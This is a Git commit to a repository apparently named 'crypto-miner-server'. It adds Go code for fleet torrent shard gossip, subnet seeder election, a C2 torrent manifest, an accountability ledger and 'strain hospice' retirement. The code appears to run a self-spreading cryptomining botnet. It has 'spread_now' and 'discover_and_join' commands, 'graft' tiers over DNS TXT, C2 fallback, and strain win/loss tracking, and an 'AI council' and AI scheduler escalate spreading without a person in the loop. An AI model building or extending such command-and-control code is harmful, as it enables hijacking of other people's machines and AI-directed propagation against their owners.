Add Fleet Torrent erasure extension with shard DHT and gossip.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.
This commit is contained in:
AetherForge
2026-06-07 09:24:55 -07:00
parent 588735e7e7
commit 894b7a50ae
40 changed files with 2285 additions and 1 deletions

View File

@@ -0,0 +1,21 @@
package ai
// Oath action types and outcomes — mirrored in db/oath_ledger.go for SQLite rows.
const (
OathSpreadTierEscalation = "spread_tier_escalation"
OathGraft = "graft"
OathForkMerge = "fork_merge"
OathStrainCardPlay = "strain_card_play"
OathCourtL4Decision = "court_l4_decision"
OathSpreadAttempt = "spread_attempt"
OathStrainHospice = "strain_hospice"
OathOutcomeSuccess = "success"
OathOutcomeFail = "fail"
OathOutcomePending = "pending"
)
// OathRecorder persists immutable operator / AI council accountability rows.
type OathRecorder interface {
Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error
}

View File

@@ -50,6 +50,8 @@ type Scheduler struct {
chamber CourtDeps
elevator ClearanceElevator
seer SeerBridge
oath OathRecorder
hospice StrainHospiceScanner
surgical SurgicalDeps
stop chan struct{}
wg sync.WaitGroup
@@ -76,6 +78,11 @@ func (s *Scheduler) SetSeerBridge(b SeerBridge) {
s.seer = b
}
// SetOathRecorder wires immutable accountability rows (optional).
func (s *Scheduler) SetOathRecorder(r OathRecorder) {
s.oath = r
}
// SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters.
func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) {
s.surgical = deps
@@ -86,6 +93,16 @@ func (s *Scheduler) SetCourtDeps(deps CourtDeps) {
s.chamber = deps
}
// StrainHospiceScanner auto-retires chronic low-win strains when AI control is enabled.
type StrainHospiceScanner interface {
MaybeAutoRetireLowWinStrains()
}
// SetStrainHospiceScanner wires AI auto-retire for epidemiology clutter.
func (s *Scheduler) SetStrainHospiceScanner(scanner StrainHospiceScanner) {
s.hospice = scanner
}
func (s *Scheduler) Start() {
s.wg.Add(1)
go s.loop()
@@ -133,6 +150,9 @@ func (s *Scheduler) tick() {
if !cfg.Enabled {
return
}
if s.hospice != nil {
s.hospice.MaybeAutoRetireLowWinStrains()
}
interval := time.Duration(cfg.IntervalSec) * time.Second
if interval < time.Second {
interval = 60 * time.Second
@@ -331,6 +351,27 @@ func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTransc
"ts": transcript.Timestamp,
})
}
if s.oath != nil {
outcome := OathOutcomeSuccess
if strings.Contains(executed, "err:") {
outcome = OathOutcomeFail
}
_ = s.oath.Record(
"ai_council:judge",
OathCourtL4Decision,
agentID,
"",
outcome,
transcript,
map[string]interface{}{
"verdict": transcript.Verdict,
"executed": executed,
"commands": transcript.CommandsJSON,
"clearance": transcript.ClearanceLevel,
"agent_name": transcript.AgentName,
},
)
}
if s.chamber.Emberwake != nil {
s.chamber.Emberwake(agentID, transcript)
}

View File

@@ -249,6 +249,12 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
if args == nil {
args = map[string]interface{}{}
}
summary, err := e.executeCommand(agentID, cmd, args)
e.recordOathForCommand(agentID, cmd, args, summary, err)
return summary, err
}
func (e *FleetAIExecutor) executeCommand(agentID string, cmd fleetai.Command, args map[string]interface{}) (string, error) {
switch cmd.Type {
case fleetai.CmdNoop:
return "noop", nil
@@ -331,6 +337,29 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
e.Hub.serverPolicy = policy
e.Hub.mu.Unlock()
return "erasure:on", nil
case fleetai.CmdStrainHospice:
strainID, _ := args["strain_id"].(string)
strainID = strings.TrimSpace(strainID)
if strainID == "" && e.Hub.db != nil {
if ag, err := e.Hub.db.GetAgent(agentID); err == nil && ag != nil {
strainID = strings.TrimSpace(ag.SpreadStrain)
if strainID == "" {
strainID = strategy.StrainFromSpreadLane(e.Hub.AgentJoinLane(agentID))
}
}
}
if strainID == "" {
return "", fmt.Errorf("strain_hospice requires strain_id or agent spread_strain")
}
reason, _ := args["reason"].(string)
if strings.TrimSpace(reason) == "" {
reason = "court L4 hospice vote"
}
rec, err := e.Hub.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByCourt), reason)
if err != nil {
return "", err
}
return "strain_hospice:" + rec.StrainID, nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err
@@ -339,6 +368,46 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string,
}
}
func (e *FleetAIExecutor) recordOathForCommand(agentID string, cmd fleetai.Command, args map[string]interface{}, summary string, execErr error) {
if e == nil || e.Hub == nil || e.Hub.db == nil {
return
}
actionType := ""
switch cmd.Type {
case fleetai.CmdReorderTiers, fleetai.CmdSkipTier, fleetai.CmdSpreadRetryLane:
actionType = db.OathSpreadTierEscalation
case fleetai.CmdSpreadNow, fleetai.CmdDiscoverAndJoin:
actionType = db.OathSpreadAttempt
default:
return
}
bridge := &OathLedgerBridge{DB: e.Hub.db, Hub: e.Hub}
_ = bridge.Record(
"ai_scheduler",
actionType,
agentID,
agentStrainFromDB(e.Hub.db, agentID),
oathOutcomeFromError(execErr),
map[string]interface{}{
"command_type": cmd.Type,
"args": args,
},
map[string]interface{}{
"command_type": cmd.Type,
"args": args,
"summary": summary,
"error": errorString(execErr),
},
)
}
func errorString(err error) string {
if err == nil {
return ""
}
return err.Error()
}
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
payload := map[string]interface{}{}
if raw, ok := args["tier_order"]; ok {

View File

@@ -6,6 +6,7 @@ import (
"strings"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
@@ -55,6 +56,11 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
graftPolicy, err := f.ws.ApproveFleetGraft(sourceID, targetID)
if err != nil {
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathGraft, targetID, "", db.OathOutcomeFail,
map[string]string{"source_agent_id": sourceID, "target_agent_id": targetID},
map[string]interface{}{"error": err.Error()},
)
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
@@ -74,4 +80,17 @@ func (f *FleetHandler) PostFleetGraft(w http.ResponseWriter, r *http.Request) {
"graft_tier": graftPolicy.GraftTier,
"strain": graftPolicy.GraftSourceStrain,
})
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathGraft, targetID, graftPolicy.GraftSourceStrain, db.OathOutcomeSuccess,
map[string]interface{}{
"source_agent_id": sourceID,
"graft_tier": graftPolicy.GraftTier,
"graft_policy": graftPolicy,
},
map[string]interface{}{
"source_agent_id": sourceID,
"graft_tier": graftPolicy.GraftTier,
"pushed": f.ws.IsAgentReachable(targetID),
},
)
}

View File

@@ -0,0 +1,102 @@
package api
import (
"encoding/json"
"log"
"crypto-miner-server/internal/atlas"
)
func (h *WSHub) handleAgentFleetTorrentGossip(senderID string, payload json.RawMessage) {
if !h.serverPolicySnapshot().FleetTorrentEnabled {
return
}
var body struct {
Records []atlas.FleetGossipRecord `json:"records"`
}
if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 {
return
}
records := atlas.NormalizeFleetGossipRecords(body.Records)
if len(records) == 0 {
return
}
h.relayFleetTorrentGossip(senderID, records)
}
func (h *WSHub) relayFleetTorrentGossip(senderID string, records []atlas.FleetGossipRecord) {
out := Message{
Type: "fleet_torrent_gossip",
Payload: mustMarshal(map[string]interface{}{
"records": records,
"source_agent_id": senderID,
}),
}
h.mu.RLock()
defer h.mu.RUnlock()
for id, ac := range h.agents {
if id == senderID || ac == nil {
continue
}
if err := ac.SendJSON(out); err != nil {
log.Printf("[fleet-torrent] relay to %s: %v", id, err)
}
}
}
// subnetPrimarySeederHint elects one primary seeder per /24 when fleet torrent is enabled.
func (h *WSHub) subnetPrimarySeederHint(agentID, clientIP, role string) string {
if !h.serverPolicySnapshot().FleetTorrentEnabled {
return ""
}
if role != "seeder" {
return ""
}
subnet := subnetPrefix24(clientIP)
if subnet == "" {
return ""
}
pick := h.electSubnetPrimarySeeder(subnet)
if pick == "" {
return agentID
}
return pick
}
func (h *WSHub) electSubnetPrimarySeeder(subnet string) string {
if subnet == "" {
return ""
}
h.mu.RLock()
defer h.mu.RUnlock()
var bestID string
for id, tel := range h.agentLiveTelemetry {
role, _ := tel["fleet_role"].(string)
if role != "seeder" {
continue
}
ip := h.agentIPLocked(id)
if subnetPrefix24(ip) != subnet {
continue
}
if bestID == "" || id < bestID {
bestID = id
}
}
return bestID
}
func (h *WSHub) isSubnetPrimarySeeder(agentID, clientIP string) bool {
if agentID == "" {
return false
}
subnet := subnetPrefix24(clientIP)
if subnet == "" {
return false
}
pick := h.electSubnetPrimarySeeder(subnet)
if pick == "" {
return true
}
return pick == agentID
}

View File

@@ -0,0 +1,40 @@
package api
import (
"context"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
func TestErasureTorrentManifestEndpoint(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
store := erasure.NewShardStore()
p, _ := erasure.DefaultParams().Normalize()
payload := []byte("torrent-manifest-payload-bytes!!")
shards, _, err := erasure.Encode(payload, p)
if err != nil {
t.Fatal(err)
}
store.Put("manifest-tok", p, shards)
h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
h.BindErasureShardStore(store)
req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("token", "manifest-tok")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.ErasureTorrentManifest(rec, req)
if rec.Code != 200 {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
}

View File

@@ -0,0 +1,83 @@
package api
import (
"net/http"
"strconv"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
// OathLedgerBridge records immutable rows and broadcasts dashboard WS events.
type OathLedgerBridge struct {
DB *dbpkg.Database
Hub *WSHub
}
// Record appends one oath ledger row and emits oath_ledger_event when a hub is wired.
func (b *OathLedgerBridge) Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error {
if b == nil || b.DB == nil {
return nil
}
whyHash := dbpkg.HashWhyJSON(whySource)
entry, err := b.DB.InsertOathLedger(actor, actionType, agentID, strain, whyHash, outcome, payload)
if err != nil {
return err
}
if b.Hub != nil && entry != nil {
b.Hub.BroadcastOathLedgerEvent(*entry)
}
return nil
}
// BroadcastOathLedgerEvent pushes a live oath row to dashboard clients.
func (h *WSHub) BroadcastOathLedgerEvent(entry dbpkg.OathLedgerEntry) {
if h == nil {
return
}
h.broadcastDashboard(Message{
Type: "oath_ledger_event",
Payload: mustMarshal(entry),
})
}
// GetOathLedger lists recent immutable accountability rows.
func (f *FleetHandler) GetOathLedger(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []dbpkg.OathLedgerEntry{})
return
}
limit := 100
if raw := strings.TrimSpace(r.URL.Query().Get("limit")); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
limit = n
}
}
rows, err := f.db.ListOathLedger(limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []dbpkg.OathLedgerEntry{}
}
writeJSON(w, rows)
}
func agentStrainFromDB(database *dbpkg.Database, agentID string) string {
if database == nil || agentID == "" {
return ""
}
ag, err := database.GetAgent(agentID)
if err != nil || ag == nil {
return ""
}
return ag.SpreadStrain
}
func oathOutcomeFromError(err error) string {
if err != nil {
return dbpkg.OathOutcomeFail
}
return dbpkg.OathOutcomeSuccess
}

View File

@@ -0,0 +1,59 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
)
func TestGetOathLedgerLimit(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
bridge := &OathLedgerBridge{DB: database}
if err := bridge.Record("comrade", db.OathGraft, "tgt-1", "#ff00aa", db.OathOutcomeSuccess,
map[string]string{"source": "src-1"}, map[string]string{"graft_tier": "dns_txt"}); err != nil {
t.Fatal(err)
}
fh := NewFleetHandler(database, nil, nil, nil, nil, pool.Config{}, t.TempDir())
req := httptest.NewRequest(http.MethodGet, "/api/v1/fleet/oath-ledger?limit=5", nil)
rec := httptest.NewRecorder()
fh.GetOathLedger(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
}
var rows []db.OathLedgerEntry
if err := json.Unmarshal(rec.Body.Bytes(), &rows); err != nil {
t.Fatal(err)
}
if len(rows) != 1 || rows[0].ActionType != db.OathGraft || rows[0].Actor != "comrade" {
t.Fatalf("unexpected rows: %+v", rows)
}
}
func TestOathLedgerBridgePersistsCourtRow(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
bridge := &OathLedgerBridge{DB: database, Hub: hub}
if err := bridge.Record("ai_council:judge", db.OathCourtL4Decision, "a1", "", db.OathOutcomeSuccess,
map[string]string{"verdict": "retry"}, map[string]string{"executed": "spread_now"}); err != nil {
t.Fatal(err)
}
rows, err := database.ListOathLedger(1)
if err != nil || len(rows) != 1 || rows[0].ActionType != db.OathCourtL4Decision {
t.Fatalf("db rows: %+v err=%v", rows, err)
}
}

View File

@@ -11,6 +11,8 @@ import (
"github.com/google/uuid"
"crypto-miner-server/internal/ai"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
// TimelineBranchStatus tracks ghost-branch exploration on a Path Tracer target hop.
@@ -205,9 +207,16 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
if parentID == "" {
parentID = sess.ID
}
hospice := map[string]bool{}
if h.hub != nil {
hospice = h.hub.HospiceStrainSet()
}
var spawned []*TimelineBranch
for _, persona := range normalized {
lanes := ai.PersonaSpreadTierOrder(persona)
if len(lanes) > 0 && strategy.LaneInHospice(lanes[0], hospice) {
continue
}
branch := &TimelineBranch{
ID: uuid.New().String(),
ParentID: parentID,
@@ -226,6 +235,11 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
sess.TimelineBranches = append(sess.TimelineBranches, branch)
spawned = append(spawned, branch)
}
if len(spawned) == 0 {
h.mu.Unlock()
http.Error(w, "all fork personas map to hospice strains — parent selection blocked", http.StatusConflict)
return
}
h.mu.Unlock()
h.persistSession(sess)
@@ -234,6 +248,25 @@ func (h *PathTracerHandler) Fork(w http.ResponseWriter, r *http.Request) {
go h.runGhostBranch(sess.ID, b)
}
h.broadcastTimelineEvent(sess, "fork", spawned[0])
if h.hub != nil && h.hub.db != nil {
why := map[string]interface{}{
"session_id": sess.ID,
"fork_hop_index": req.ForkHopIndex,
"target_agent_id": target.AgentID,
"personas": normalized,
"branches_spawned": len(spawned),
}
_ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record(
AuthUsername(r), dbpkg.OathForkMerge, target.AgentID, agentStrainFromDB(h.hub.db, target.AgentID),
dbpkg.OathOutcomePending, why,
map[string]interface{}{
"event": "fork",
"session_id": sess.ID,
"fork_hop_index": req.ForkHopIndex,
"branches_spawned": len(spawned),
},
)
}
writeJSON(w, map[string]interface{}{
"ok": true,
@@ -279,6 +312,14 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
http.Error(w, "cannot merge canonical root", http.StatusBadRequest)
return
}
if h.hub != nil && len(winner.SpreadLanes) > 0 {
hospice := h.hub.HospiceStrainSet()
if strategy.LaneInHospice(winner.SpreadLanes[0], hospice) {
h.mu.Unlock()
http.Error(w, "branch spread strain is in hospice — fork-merge parent selection blocked", http.StatusConflict)
return
}
}
if winner.Status != BranchWon && winner.Status != BranchRunning {
h.mu.Unlock()
http.Error(w, "branch must be running or won to merge", http.StatusConflict)
@@ -308,6 +349,26 @@ func (h *PathTracerHandler) Merge(w http.ResponseWriter, r *http.Request) {
h.mu.Unlock()
h.persistSession(sess)
h.broadcastTimelineEvent(sess, "merge", winner)
if h.hub != nil && h.hub.db != nil {
why := map[string]interface{}{
"session_id": sess.ID,
"merged_branch_id": winner.ID,
"merged_persona": winner.Persona,
"merged_spread_lane": sess.MergedSpreadLane,
"merged_hashrate": sess.MergedHashrate,
}
_ = (&OathLedgerBridge{DB: h.hub.db, Hub: h.hub}).Record(
AuthUsername(r), dbpkg.OathForkMerge, winner.TargetAgentID, agentStrainFromDB(h.hub.db, winner.TargetAgentID),
dbpkg.OathOutcomeSuccess, why,
map[string]interface{}{
"event": "merge",
"session_id": sess.ID,
"merged_branch_id": winner.ID,
"merged_persona": winner.Persona,
"merged_spread_lane": sess.MergedSpreadLane,
},
)
}
writeJSON(w, map[string]interface{}{
"ok": true,

View File

@@ -591,6 +591,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)

View File

@@ -74,9 +74,21 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request
if card.ID == "" {
card.ID = stored.ID
}
if inHospice, err := f.db.IsStrainInHospice(strategy.NormalizeStrainID(card.SpreadStrain)); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
} else if inHospice {
http.Error(w, "strain is in hospice — play-card disabled (museum archive)", http.StatusConflict)
return
}
result, err := f.ws.PlayStrainCard(agentID, card)
if err != nil {
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeFail,
map[string]interface{}{"card_id": cardID, "persona": card.Persona},
map[string]interface{}{"error": err.Error(), "card_id": cardID},
)
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
@@ -100,6 +112,22 @@ func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request
"queued": result.Queued,
"transport": result.Transport,
})
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
AuthUsername(r), db.OathStrainCardPlay, agentID, card.SpreadStrain, db.OathOutcomeSuccess,
map[string]interface{}{
"card_id": cardID,
"persona": card.Persona,
"root": card.RootAgentID,
},
map[string]interface{}{
"card_id": cardID,
"play_id": result.PlayID,
"persona": card.Persona,
"sent": result.Sent,
"queued": result.Queued,
"transport": result.Transport,
},
)
writeJSON(w, map[string]interface{}{
"success": true,

View File

@@ -0,0 +1,250 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/strategy"
)
type strainHospiceRequest struct {
StrainID string `json:"strain_id"`
Reason string `json:"reason,omitempty"`
}
// GetStrainHospice lists archived strains (museum read-only lineage).
func (f *FleetHandler) GetStrainHospice(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []db.StrainHospiceRecord{})
return
}
rows, err := f.db.ListStrainHospice(200)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, rows)
}
// PostStrainHospice archives a failed/low-win strain to hospice.
func (f *FleetHandler) PostStrainHospice(w http.ResponseWriter, r *http.Request) {
if f.db == nil || f.ws == nil {
http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable)
return
}
var req strainHospiceRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
strainID := strategy.NormalizeStrainID(req.StrainID)
if strainID == "" {
http.Error(w, "strain_id is required", http.StatusBadRequest)
return
}
reason := strings.TrimSpace(req.Reason)
if reason == "" {
reason = "operator manual retirement"
}
rec, err := f.ws.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByOperator), reason)
if err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
})
return
}
_ = f.db.InsertAudit(AuthUsername(r), "strain_hospice", "", map[string]interface{}{
"strain_id": strainID,
"retired_by": rec.RetiredBy,
"reason": rec.Reason,
})
writeJSON(w, map[string]interface{}{
"success": true,
"strain_id": rec.StrainID,
"retired_by": rec.RetiredBy,
"reason": rec.Reason,
"retired_at": rec.RetiredAt,
})
}
// RetireStrainToHospice archives a strain, updates breeding cache, and emits Seer + oath ledger.
func (h *WSHub) RetireStrainToHospice(strainID, retiredBy, reason string) (*db.StrainHospiceRecord, error) {
if h == nil || h.db == nil {
return nil, errHubUnavailable
}
strainID = strategy.NormalizeStrainID(strainID)
if strainID == "" {
return nil, errStrainRequired
}
if ok, err := h.db.IsStrainInHospice(strainID); err != nil {
return nil, err
} else if ok {
rec, err := h.db.GetStrainHospice(strainID)
if err != nil {
return nil, err
}
return rec, nil
}
cardJSON, err := h.db.CardJSONForStrain(strainID)
if err != nil {
return nil, err
}
if err := h.db.RetireStrain(strainID, retiredBy, reason, cardJSON); err != nil {
return nil, err
}
rec, err := h.db.GetStrainHospice(strainID)
if err != nil {
return nil, err
}
h.refreshHospiceBreedingCache()
h.emitStrainHospiceRetirement(rec, retiredBy, reason)
log.Printf("[hospice] strain %s retired by %s: %s", strainID, retiredBy, reason)
return rec, nil
}
func (h *WSHub) refreshHospiceBreedingCache() {
if h == nil || h.db == nil || h.breedingRegistry == nil {
return
}
set, err := h.db.HospiceStrainSet()
if err != nil {
log.Printf("[hospice] breeding cache refresh: %v", err)
return
}
h.breedingRegistry.SetHospiceStrains(set)
}
func (h *WSHub) emitStrainHospiceRetirement(rec *db.StrainHospiceRecord, retiredBy, reason string) {
if rec == nil {
return
}
payload := map[string]interface{}{
"strain_id": rec.StrainID,
"retired_by": rec.RetiredBy,
"reason": rec.Reason,
"retired_at": rec.RetiredAt.UTC().Format("2006-01-02T15:04:05Z"),
"card_json": json.RawMessage(rec.CardJSON),
}
_ = (&OathLedgerBridge{DB: h.db, Hub: h}).Record(
retiredBy, db.OathStrainHospice, "", rec.StrainID, db.OathOutcomeSuccess,
map[string]interface{}{"reason": reason, "retired_by": rec.RetiredBy},
payload,
)
emitter := &HubSeerEmitter{Hub: h, DB: h.db}
_ = emitter.EmitSeerEvent("strain_hospice", "", payload)
h.broadcastDashboard(Message{
Type: "strain_hospice",
Payload: mustMarshal(payload),
})
}
// HospiceStrainSet returns retired strains for topology and fork-merge guards.
func (h *WSHub) HospiceStrainSet() map[string]bool {
if h == nil || h.db == nil {
return nil
}
set, err := h.db.HospiceStrainSet()
if err != nil {
return nil
}
return set
}
// MaybeAutoRetireLowWinStrains scans epidemiology and retires chronic losers when AI control is on.
func (h *WSHub) MaybeAutoRetireLowWinStrains() {
if h == nil || h.db == nil {
return
}
policy := h.serverPolicySnapshot()
if !policy.AIControlEnabled {
return
}
threshold := policy.StrainHospiceWinRateThreshold
if threshold <= 0 {
threshold = strategy.DefaultHospiceWinRateThreshold
}
minAttempts := policy.StrainHospiceMinAttempts
if minAttempts <= 0 {
minAttempts = strategy.DefaultHospiceMinAttempts
}
hospice, _ := h.db.HospiceStrainSet()
for strainID, stats := range h.collectStrainSpreadStats() {
if hospice[strainID] {
continue
}
if !strategy.ShouldAutoRetireStrain(stats.Wins, stats.Losses, threshold, minAttempts) {
continue
}
reason := "ai auto-retire: win_rate below threshold after min attempts"
if _, err := h.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByAI), reason); err != nil {
log.Printf("[hospice] auto-retire %s: %v", strainID, err)
}
}
}
func (h *WSHub) collectStrainSpreadStats() map[string]strategy.StrainSpreadStats {
out := make(map[string]strategy.StrainSpreadStats)
if h == nil || h.db == nil {
return out
}
agents, err := h.db.ListAgents()
if err != nil {
return out
}
joinLanes := h.agentJoinLanesSnapshot()
for _, ag := range agents {
if ag == nil {
continue
}
strain := strategy.NormalizeStrainID(ag.SpreadStrain)
if strain == "" {
lane := joinLanes[ag.ID]
if lane == "" {
lane = ag.JoinLane
}
strain = strategy.StrainFromSpreadLane(lane)
}
if strain == "" {
continue
}
entry := out[strain]
entry.StrainID = strain
if ag.ParentAgentID != "" {
if ag.Status == "online" && (ag.JoinLane != "" || joinLanes[ag.ID] != "") {
entry.Wins++
} else if ag.Status == "error" || ag.Status == "offline" {
entry.Losses++
}
}
out[strain] = entry
}
cards, _ := h.db.ListStrainCards(200)
for _, c := range cards {
strain := strategy.NormalizeStrainID(c.SpreadStrain)
if strain == "" {
continue
}
entry := out[strain]
entry.StrainID = strain
var card map[string]interface{}
if json.Unmarshal([]byte(c.CardJSON), &card) == nil {
if wins, ok := card["wins"].([]interface{}); ok {
entry.Wins += len(wins)
}
if losses, ok := card["losses"].([]interface{}); ok {
entry.Losses += len(losses)
}
}
out[strain] = entry
}
return out
}
var (
errHubUnavailable = &strainCardError{"hub unavailable"}
errStrainRequired = &strainCardError{"strain_id is required"}
)

View File

@@ -0,0 +1,67 @@
package atlas
import (
"strings"
)
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
Subnet string `json:"subnet,omitempty"`
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
r.AgentID = strings.TrimSpace(r.AgentID)
r.Subnet = strings.TrimSpace(r.Subnet)
r.Token = strings.TrimSpace(r.Token)
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
r.FetchURL = strings.TrimSpace(r.FetchURL)
switch r.Kind {
case FleetGossipHaveShard:
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
return FleetGossipRecord{}, false
}
case FleetGossipHealthy:
if r.AgentID == "" {
return FleetGossipRecord{}, false
}
case FleetGossipKnowNode:
if r.AgentID == "" || r.TargetAgentID == "" {
return FleetGossipRecord{}, false
}
default:
return FleetGossipRecord{}, false
}
return r, true
}
// NormalizeFleetGossipRecords drops invalid records while preserving order.
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
if len(in) == 0 {
return nil
}
out := make([]FleetGossipRecord, 0, len(in))
for _, r := range in {
if norm, ok := NormalizeFleetGossipRecord(r); ok {
out = append(out, norm)
}
}
return out
}

View File

@@ -0,0 +1,16 @@
package atlas
import "testing"
func TestNormalizeFleetGossipRecords(t *testing.T) {
in := []FleetGossipRecord{
{Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
{Kind: "bogus"},
{Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
{Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
}
out := NormalizeFleetGossipRecords(in)
if len(out) != 3 {
t.Fatalf("got %d records", len(out))
}
}

View File

@@ -0,0 +1,172 @@
package db
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"time"
)
// Oath action types — immutable accountability rows.
const (
OathSpreadTierEscalation = "spread_tier_escalation"
OathGraft = "graft"
OathForkMerge = "fork_merge"
OathStrainCardPlay = "strain_card_play"
OathCourtL4Decision = "court_l4_decision"
OathSpreadAttempt = "spread_attempt"
OathStrainHospice = "strain_hospice"
)
// Oath outcomes.
const (
OathOutcomeSuccess = "success"
OathOutcomeFail = "fail"
OathOutcomePending = "pending"
)
// OathLedgerEntry is one immutable operator / AI council accountability row.
type OathLedgerEntry struct {
ID int64 `json:"id"`
Timestamp string `json:"timestamp"`
Actor string `json:"actor"`
ActionType string `json:"action_type"`
AgentID string `json:"agent_id"`
Strain string `json:"strain"`
WhyHash string `json:"why_hash"`
Outcome string `json:"outcome"`
PayloadJSON json.RawMessage `json:"payload_json"`
}
func (d *Database) ensureOathLedgerTable() error {
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS oath_ledger (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
actor TEXT NOT NULL DEFAULT '',
action_type TEXT NOT NULL,
agent_id TEXT NOT NULL DEFAULT '',
strain TEXT NOT NULL DEFAULT '',
why_hash TEXT NOT NULL DEFAULT '',
outcome TEXT NOT NULL DEFAULT 'pending',
payload_json TEXT NOT NULL DEFAULT '{}'
)`)
if err != nil {
return err
}
